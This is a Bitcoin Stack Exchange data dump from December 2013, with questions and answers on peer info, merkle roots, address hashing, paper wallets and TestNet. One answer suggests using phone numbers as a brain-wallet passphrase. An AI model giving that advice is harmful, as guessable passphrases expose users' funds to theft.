  <row Id="19587" PostTypeId="2" ParentId="19586" CreationDate="2013-12-30T03:03:29.683" Score="3" Body="&lt;p&gt;The easiest way to get peer information is via the JSON RPC interface has a command getpeerinfo.  Each peer returns a JSON object containing peer IP address info, connection time, version and subversion of the client.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would probably be interested in this: &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;Bitcoind API&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Although this is not a way to read the database I presume that the data feeding the peers.dat file is pulled from both the IRC channels and the DNS seeds.  If you reported data on those nodes, you could use this data in combination with logs from the debug file to perhaps learn how your node discovered its peers.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2013-12-30T03:24:24.393" LastActivityDate="2013-12-30T03:24:24.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19588" PostTypeId="1" AcceptedAnswerId="20885" CreationDate="2013-12-30T03:04:27.910" Score="3" ViewCount="1136" Body="&lt;p&gt;From page &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification&lt;/a&gt; , I understand the merkle tree works like&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;merkle([a,b,c,d]) =  h( h(a,b), h(c,d) )&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when I do the stratum protocol &lt;a href=&quot;http://mining.bitcoin.cz/stratum-mining/&quot; rel=&quot;nofollow&quot;&gt;http://mining.bitcoin.cz/stratum-mining/&lt;/a&gt; , it works something like this &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;merkle([a,b,c,d]) = h(h(h(a,b),c),d)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And here is the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def build_merkle_root(self, merkle_branch, coinbase_hash_bin):&#xA;    merkle_root = coinbase_hash_bin&#xA;    for h in self.merkle_branch:&#xA;        merkle_root = doublesha(merkle_root + binascii.unhexlify(h))&#xA;    return binascii.hexlify(merkle_root)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I miss anything?&lt;/p&gt;&#xA;" OwnerUserId="11567" LastActivityDate="2014-03-22T06:52:09.597" Title="Get confused on the merkle tree algorithm" Tags="|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19589" PostTypeId="1" CreationDate="2013-12-30T03:40:53.123" Score="9" ViewCount="11987" Body="&lt;p&gt;I have a number of wallets. Is it possible to detect the type of (alternative) coin it contains?&lt;/p&gt;&#xA;" OwnerUserId="11569" LastEditorUserId="132" LastEditDate="2013-12-30T09:54:01.740" LastActivityDate="2020-01-31T01:40:59.863" Title="How to determine what type of coins a wallet.dat contains?" Tags="|alternatives|wallet.dat|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19590" PostTypeId="1" AcceptedAnswerId="19593" CreationDate="2013-12-30T04:11:44.887" Score="1" ViewCount="598" Body="&lt;p&gt;If an alt were to forgo difficulty and timed release of new supply by removing the nonce from blocks therefore the whole difficulty/target system, is hashing without nonces still providing the same blockchain anti-tampering security?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how could the blockchain's integrity be maintained without hashing difficulty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, blocks have nonces to satisfy difficulty so that the hashing process is slowed for the purposes of controlling the rate new crypto supply is produced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please assume that supply will be produced through a multiplier as described &lt;a href=&quot;https://bitcoin.stackexchange.com/a/18640/5107&quot;&gt;here&lt;/a&gt; instead of as a reward for mining.  In this case, block generation doesn't need to be slowed for the purposes of crypto supply inflation, but the blockchain does need to be made tamper-proof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it correct that simply hashing in particular ways make the transactions tamper-proof, or is noncing a hash also necessary?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="-1" LastEditorDisplayName="user5107" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-12-30T09:56:40.023" Title="Are transactions still tamper-proof if blocks are hashed without nonces?" Tags="|blockchain|hash|difficulty|cryptography|nonce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19591" PostTypeId="2" ParentId="19579" CreationDate="2013-12-30T05:10:36.863" Score="1" Body="&lt;p&gt;There is currently a bounty offered on BitcoinTalk for implementing a method that would add bitcoins back to the mining reward in the case that an address had no activity for over 50 years which would completely resolve this concern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post can be found here and is located at #3 on the list &lt;a href=&quot;https://bitcointalk.org/index.php?topic=371601.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=371601.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11189" LastEditorUserId="11189" LastEditDate="2014-01-03T04:12:04.743" LastActivityDate="2014-01-03T04:12:04.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19592" PostTypeId="2" ParentId="18862" CreationDate="2013-12-30T05:47:18.473" Score="1" Body="&lt;p&gt;You moved 0.8 BTC from 1DbYDYkehPSFrg9zwHY93ZcqmwFLQggw81 back to 1DbYDYkehPSFrg9zwHY93ZcqmwFLQggw81. So in essence, you didn't really move anything.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-30T05:47:18.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19593" PostTypeId="2" ParentId="19590" CreationDate="2013-12-30T08:19:58.670" Score="2" Body="&lt;p&gt;Ripple is an example that works without proof of work nor proof of stake (so no nonce needed). This mechanism is more vulnerable to sybil attacks, so it needs strong peer identity knowledge (but not trust!) to be secure. See &lt;a href=&quot;https://ripple.com/wiki/Consensus&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Consensus&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5837" LastEditorUserId="5837" LastEditDate="2013-12-30T09:56:40.023" LastActivityDate="2013-12-30T09:56:40.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19594" PostTypeId="1" CreationDate="2013-12-30T10:12:46.390" Score="3" ViewCount="249" Body="&lt;p&gt;I'm sold on most of the Bitcoin aspects. I believe that the blockchain has incredible potential value and how the fact that it's decentralized removes a lot of the corruption and cronyism that are rampant in today's centralized institutions.&#xA;However one thing I don't get is how does the contract, or property or other value that you have stored in the blockchain is enforced? Surely some people won't care that the proof of property of your land is in the blockchain and just claim it with guns. What do you do then? How is this sorted? States have judicial and military power. What does the blockchain have?&lt;/p&gt;&#xA;" OwnerUserId="4796" LastEditorUserId="5406" LastEditDate="2021-03-06T19:39:15.157" LastActivityDate="2021-03-06T19:39:15.157" Title="How can the blockchain survive without an army or other kind of law enforcement?" Tags="|blockchain|legal|decentralization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19596" PostTypeId="2" ParentId="19594" CreationDate="2013-12-30T10:21:22.530" Score="2" Body="&lt;p&gt;The blockchain itself does not have any power. It is just public set of records, like a phonebook. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the contract between trading parties, you arbitrage the contract disputes within the legal means you have available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, blockchain can act as a proof of agreement and everything signed there is very hard to forge: the other party cannot claim they did not sign the agreement if the private key used in signing can be proven to belong to the party. &lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-12-30T10:21:22.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19597" PostTypeId="1" AcceptedAnswerId="19610" CreationDate="2013-12-30T13:18:27.003" Score="1" ViewCount="1007" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt;  says this:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;How to create Bitcoin Address&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;0 - Having a private ECDSA key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1 - Take the corresponding public key generated with it   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2 - Perform SHA-256 hashing on the public key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;600FFE422B4E00731A59557A5CCA46CC183944191006324A447BDB2D98D4B408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;but when I run a sha256 on &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;600FFE422B4E00731A59557A5CCA46CC183944191006324A447BDB2D98D4B408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I get is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;32511e82d56dcea68eb774094e25bab0f8bdd9bc1eca1ceeda38c7a43aceddce&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="5960" LastEditorUserId="17113" LastEditDate="2014-06-25T08:45:37.603" LastActivityDate="2014-06-25T08:45:37.603" Title="Bitcoin Address generation" Tags="|address|sha256|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19598" PostTypeId="2" ParentId="19198" CreationDate="2013-12-30T14:26:44.857" Score="3" Body="&lt;p&gt;The answer is that XPM(&lt;a href=&quot;http://primecoin.org/static/primecoin-paper.pdf&quot; rel=&quot;nofollow&quot;&gt;http://primecoin.org/static/primecoin-paper.pdf&lt;/a&gt; - see &quot;Introduction&quot;, especially 2nd paragraph) and QRK(&lt;a href=&quot;http://www.quarkcoins.com/bitcoin-vs-quarkcoin.html&quot; rel=&quot;nofollow&quot;&gt;http://www.quarkcoins.com/bitcoin-vs-quarkcoin.html&lt;/a&gt; - see &quot;SECURITY&quot; section) have developed their own algorithms. They are not based on SHA-256 proof-of-work(used for BTC and alike - [SHA-256 CRYPTOCOINS][3]) nor on scrypt proof-of-work(used for LTC and alike - [SCRYPT CRYPTOCOINS][4]) hashing algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The websites which compare profitability use the hashrate you provide(either in SHA-256 or scrypt), the difficulty of the network and the actual price of the respective cryptocurrency in order to make a prediction on how much you can earn by mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2 cryptocoins we are discussing here are relatively new in the market, thus there is no existing database containing a list of hardware and their respective hashrates for this algorithms. As time passes, if those new coins will receive the needed attention, the community will create the needed resources in order to be able to make an estimate of earnings based on your hardware for XPM and QRK. Then everyone will be able to compare the profitability of mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until then, you can only make your own calculations as there is no website to help you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Due to my low reputation I can only post 2 links here. Please find&#xA;  the links for reference [3] and [4] in the comments.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11580" LastActivityDate="2013-12-30T14:26:44.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19599" PostTypeId="1" AcceptedAnswerId="19615" CreationDate="2013-12-30T15:03:44.130" Score="4" ViewCount="2989" Body="&lt;p&gt;On Blockchain.info, when deleting private keys from your wallet, it asks if you want to delete only the private key or if you want to delete both the private key and the address. If you choose to delete the address in addition to the private key, does this mean that unless the address is generated again, it doesn't exist anymore? If not, what &lt;em&gt;does&lt;/em&gt; it do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/afsbe.png&quot; alt=&quot;Blockchain.info Confirm Deletion of Private Keys&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user6398" LastEditorDisplayName="user6398" LastEditDate="2016-04-28T01:38:13.810" LastActivityDate="2017-08-10T06:06:18.113" Title="What is the difference between deleting a private key and deleting an address?" Tags="|address|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19600" PostTypeId="2" ParentId="19597" CreationDate="2013-12-30T15:08:16.580" Score="4" Body="&lt;p&gt;Use must use SHA256 on array of bytes, not on a hex-string representation.&lt;/p&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2013-12-30T15:08:16.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19601" PostTypeId="2" ParentId="19594" CreationDate="2013-12-30T15:26:20.407" Score="1" Body="&lt;p&gt;The blockchain survives by having nodes which continue to keep it up to date which implies having a network which allows those to communicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the question of someone ignoring the blockchain, since all transactions take place in the blockchain there is no such thing as a bitcoin transaction apart from the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it in other words proof of ownwership of bitcoins requires two things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Here, look, I have a private key.&#xA;2) Here, look, the blockchain says that this private key has some quantity of bitcoins associated with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this context since the bitcoin nodes keep the blockchain correct, the only other way of obtaining bitcoins is via the obtaining of a private key by force, theft, whatever.&lt;/p&gt;&#xA;" OwnerUserId="9654" LastEditorUserId="9654" LastEditDate="2013-12-30T15:41:46.197" LastActivityDate="2013-12-30T15:41:46.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19602" PostTypeId="2" ParentId="18993" CreationDate="2013-12-30T15:33:49.427" Score="1" Body="&lt;p&gt;To a certain extant, that's exactly what Ripple and its network are supposed to be: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &quot;transfer&quot; euros, or dollars, yens, yuan or whatever from one account to the other thru the network, always getting the best exchange rate that is possible at that moment. It has its own currency, the aptly named &quot;ripple&quot;, but it's meant more to prevent people abusing the system (i.e. sending US$ 0.01 back and forth to overload it) than to be used as a currency per-se, since an amount of ripples are destroyed with each transaction and never replenished for all possible ripples have already been mined (a contentious point to some people).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put &quot;transfer&quot; in quotes for technically you're not transfering money, but rather debt - the system works as a gigantic network for people sending &quot;IOU&quot; notes to each other, taking debt in their friend's name, and settling their debts against the IOUs of their lenders. It's really interesting though a bit complicated, has the property of working &quot;with&quot; the current banking system as opposed to &quot;outside&quot; of it - some people see this as an advantage, others as a profound disadvantage :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now it's closed source though its creators claim they'll release the code sometime in the future. I guess due to contractual requirements with the banks this will be difficult to accomplish, nonetheless it's still a very interesting development, and the only distributed currency (as the gateways are distributed, rather than the miners) that's not derived from Nakamoto's original code.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-30T15:33:49.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19603" PostTypeId="2" ParentId="19199" CreationDate="2013-12-30T15:40:58.950" Score="0" Body="&lt;p&gt;To a certain extent, the Ven could be seen as an &quot;asset-backed&quot; currency, even though it's closed source and not crypto-powered, as far as I know. Its creator back it with a basket of currencies plus carbon futures. Sounds nice, except they're not used outside of their &quot;Ven Pavillions&quot; and it's more like a one way street: once bought, you cannot easily get your dollars/euros back - though there are a number of dealers accepting them in exchange of their products and services, so it's more a coin designed specifically to be spent rather than traded per-se.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-30T15:40:58.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19604" PostTypeId="2" ParentId="19567" CreationDate="2013-12-30T15:49:30.887" Score="3" Body="&lt;p&gt;I tested this by programatically adding 1 million addresses to the QT client via the JSON-RPC interface from a Java program. Rescanning was turned off so all it did was add the addresses and not confirm the balances. It took around 24 hrs to add 1 million addresses and then it took another 4 hrs or so to restart the client and scan the 1 million addresses. I was using a MacBook Air so not very powerful hardware. Still, given the amount of time it took to do the rescan I would not recommend using the QT client with that many addresses in a production setting. Good luck.&lt;/p&gt;&#xA;" OwnerUserId="11581" LastActivityDate="2013-12-30T15:49:30.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19605" PostTypeId="1" AcceptedAnswerId="19606" CreationDate="2013-12-30T16:22:15.437" Score="3" ViewCount="2203" Body="&lt;p&gt;I noticed that BitCoin addresses usually are equal to 34 digits and/or characters.&#xA;I decided to get an extra address and was a bit hesitant to use it since it's 1 digit or character short, is this usable or should I just get another address instead?&lt;/p&gt;&#xA;" OwnerUserId="10957" LastActivityDate="2013-12-30T16:32:39.213" Title="What to do if my BitCoin Address is only 33 digits?" Tags="|address-generation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19606" PostTypeId="2" ParentId="19605" CreationDate="2013-12-30T16:32:39.213" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;wiki page on Bitcoin addresses&lt;/a&gt; mentions that addresses van be of length 27-34. So an address of 33 characters long is perfectly usable. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-30T16:32:39.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19608" PostTypeId="2" ParentId="19599" CreationDate="2013-12-30T18:12:37.810" Score="1" Body="&lt;p&gt;It just removes the address from your wallet, so that you are no longer watching it. Any valid address can always have Bitcoins sent to it, and anyone who knows the corresponding private key can always spend them. Wallets are only needed to make spending or watching convenient. They aren't needed for funds to actually be received -- that takes place entirely on the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-30T18:12:37.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19609" PostTypeId="1" CreationDate="2013-12-30T18:13:44.230" Score="1" ViewCount="456" Body="&lt;p&gt;The error message is :  &quot;the miner path for the active default profile (chemin vers cgminer.exe) does not exist. You must set the miner path before you can start mining. Click the manage profiles button in the settings tab to open the profile manager, where you can edit the profiles miner path&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using windows 8 with intel i7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do ?&lt;/p&gt;&#xA;" OwnerUserId="11592" LastActivityDate="2016-06-18T19:15:12.337" Title="Error message in cgwatcher with intel hd graphics 4000" Tags="|cgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19610" PostTypeId="2" ParentId="19597" CreationDate="2013-12-30T18:18:32.533" Score="8" Body="&lt;pre&gt;&lt;code&gt;echo -n  &quot;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&quot;&#xA;| sha256sum &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives: 32511e82d56dcea68eb774094e25bab0f8bdd9bc1eca1ceeda38c7a43aceddce&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&quot;&#xA;| xxd -r -p /proc/self/fd/0 | sha256sum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives: 600ffe422b4e00731a59557a5cca46cc183944191006324a447bdb2d98d4b408&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion: You hashed an ASCII representation of the public key in hexadecimal rather than the public key itself.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-30T18:18:32.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19612" PostTypeId="2" ParentId="7908" CreationDate="2013-12-30T19:32:09.690" Score="5" Body="&lt;p&gt;The one big difference between MainNet and TestNet is that TestNet exists at a whim of the developers. Currently we are at TestNet 3, meaning that the entire network was reset 2 times in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try selling TestNet Bitcoins to other people, you might quickly find that the Bitcoin core development team will reset the TestNet and you will find yourself with a lot of worthless coins. From what I heard, that was one of the reasons TestNet was reset in the past - people started selling TN coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since TestNet and MainNet use different net byte (0x6F rather than 0x00), means the addresses are incompatible with one another - you can't send TestNet Bitcoins to normal Bitcoin address. Even if such a transaction would be accepted (say, by using &quot;pay to public key&quot; script), the transaction itself would not penetrate from one network to another. In Bitcoin, a transaction is valid only if it is created from valid outputs (among many other things). Since a transaction from TestNet would reference an output that does not exist on the main Blockchain, the transaction would be invalid.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-12-30T19:32:09.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19613" PostTypeId="1" CreationDate="2013-12-30T20:12:32.237" Score="1" ViewCount="198" Body="&lt;p&gt;Since &lt;a href=&quot;https://en.bitcoin.it/wiki/Fractional_Reserve_Banking_and_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;fractional reserve banking&lt;/strong&gt;&lt;/a&gt; where money is created by lending is possible with Bitcoin is there a way it can be measured to give a total amount of money in the system? Such a measurement would actually reveal the value of &lt;a href=&quot;https://en.wikipedia.org/wiki/Money_multiplier&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;money multiplier&lt;/strong&gt;&lt;/a&gt; which I define as a real statistical ratio between &lt;a href=&quot;https://en.wikipedia.org/wiki/Money#Commercial_bank_money&quot; rel=&quot;nofollow&quot;&gt;commercial banks money&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Monetary_base&quot; rel=&quot;nofollow&quot;&gt;monetary base&lt;/a&gt; rather than a theoretical maximum ratio that is legally defined (because of lack of regulation with Bitcoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess such a measurement can either be direct (by lenders reporting how much they've lent) or indirect (measuring some other impacts those loans have on economy).&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2015-05-28T18:24:16.227" LastActivityDate="2015-05-28T18:24:16.227" Title="Measuring total amount of Bitcoin in circulation" Tags="|money-supply|fractional-reserve|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19614" PostTypeId="1" AcceptedAnswerId="19618" CreationDate="2013-12-30T20:56:21.907" Score="5" ViewCount="5368" Body="&lt;p&gt;I'd like to write a function in Java that takes a private key and generates the address to use in a QR code. I'd like to make this , but I'm not very good with the hashing algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked with &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;noreferrer&quot;&gt;https://www.bitaddress.org&lt;/a&gt; and what is generated on there is not the same as what I'm getting in my program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with this? Google has failed me&lt;/p&gt;&#xA;" OwnerUserId="11591" LastActivityDate="2018-06-26T07:48:49.590" Title="Generating an address from a private key in Java?" Tags="|address|private-key|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19615" PostTypeId="2" ParentId="19599" CreationDate="2013-12-30T20:56:28.597" Score="3" Body="&lt;p&gt;An address can be generated from a private key. But you need to have the private key from the address to be able to spend it's funds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when deleting the address, it will just be completely removed from your wallet. (Note that there is no such notion of &quot;whether or not an address exists&quot;. All addresses exist, but if nobody owns a private key for the address, the balance will be unspeakable.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When deleting the private key only, the address will still be in your wallet, but it will be watch-only. This means that you will see the address's balance in your account, but you won't be able to spend the funds unless you enter the private key again. The main reason to do this is for security. If you write the private key down on a piece of paper, f.e., you could delete the private key from your wallet so that a person that hacks into your wallet will not be able to spend the funds. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-30T20:56:28.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19616" PostTypeId="2" ParentId="19544" CreationDate="2013-12-30T20:59:44.533" Score="0" Body="&lt;p&gt;You should be able to just make a transaction of any amount using My Wallet and it should just require you to enter/scan the private key to confirm/sign the transaction. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-30T20:59:44.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19617" PostTypeId="2" ParentId="19541" CreationDate="2013-12-30T21:01:21.183" Score="2" Body="&lt;p&gt;You could use the phone numbers as a passphrase for a &lt;a href=&quot;https://brainwallet.org&quot; rel=&quot;nofollow&quot;&gt;Brain Wallet&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-30T21:01:21.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19618" PostTypeId="2" ParentId="19614" CreationDate="2013-12-30T21:15:22.743" Score="1" Body="&lt;p&gt;Don't reinvent the wheel, use an existing library. &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;bitcoinj&lt;/a&gt; for instance provides the method &lt;code&gt;getPubKeyHash&lt;/code&gt; of the class &lt;code&gt;ECKey&lt;/code&gt; which does what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: &lt;code&gt;getPubKeyHash&lt;/code&gt; does not return the human readable address directly, but can be used to create an instance of the class &lt;code&gt;Address&lt;/code&gt;. This (as a subclass of &lt;code&gt;VersionedChecksummedBytes&lt;/code&gt;) has in turn the method &lt;code&gt;toString&lt;/code&gt; which presents the hash as bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="9175" LastEditorUserId="9175" LastEditDate="2013-12-30T22:20:00.040" LastActivityDate="2013-12-30T22:20:00.040" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19619" PostTypeId="1" CreationDate="2013-12-30T21:18:48.027" Score="3" ViewCount="467" Body="&lt;p&gt;A paper wallet is a very misnamed term, since it's in fact a &quot;paper address&quot; indeed (contrary to a &quot;wallet&quot; which stores multiples addresses, for ewample inside the wallet.dat file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of people are speaking about the safety of paper wallet. It's indeed easier than holding offline a wallet.dat file. &#xA;But isn't it dangerous holding all your money inside only one address like the paper &quot;wallet&quot;?&lt;/p&gt;&#xA;" OwnerUserId="11600" LastActivityDate="2014-01-29T22:45:58.873" Title="Holding all your money in one address = Paper wallet?" Tags="|wallet|offline|safety|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19620" PostTypeId="2" ParentId="19544" CreationDate="2013-12-30T21:46:05.460" Score="0" Body="&lt;p&gt;When Alice, who owns an address containing &lt;strong&gt;5BTC&lt;/strong&gt;, sends &lt;strong&gt;4BTC&lt;/strong&gt; to Bob:&#xA;&lt;strong&gt;1BTC&lt;/strong&gt; is keep for her as change. But this 1BTC &lt;em&gt;NEVER&lt;/em&gt; comes back to the orginal address: a new address is automatically generated, containing this 1BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Qt-Bitcoin does that silently (and it's quite confusing I daresay) and create this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can't send partially from a paper wallet. Or from any single address for that matter (since a paper &quot;wallet&quot; is in fact only a single address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do instead is &quot;importing&quot; the private key inside Qt-Bitcoin. and then spend the money inside that address. (and if it's partially spent, new addresses are automatically generated as already said)&lt;/p&gt;&#xA;" OwnerUserId="11600" LastActivityDate="2013-12-30T21:46:05.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
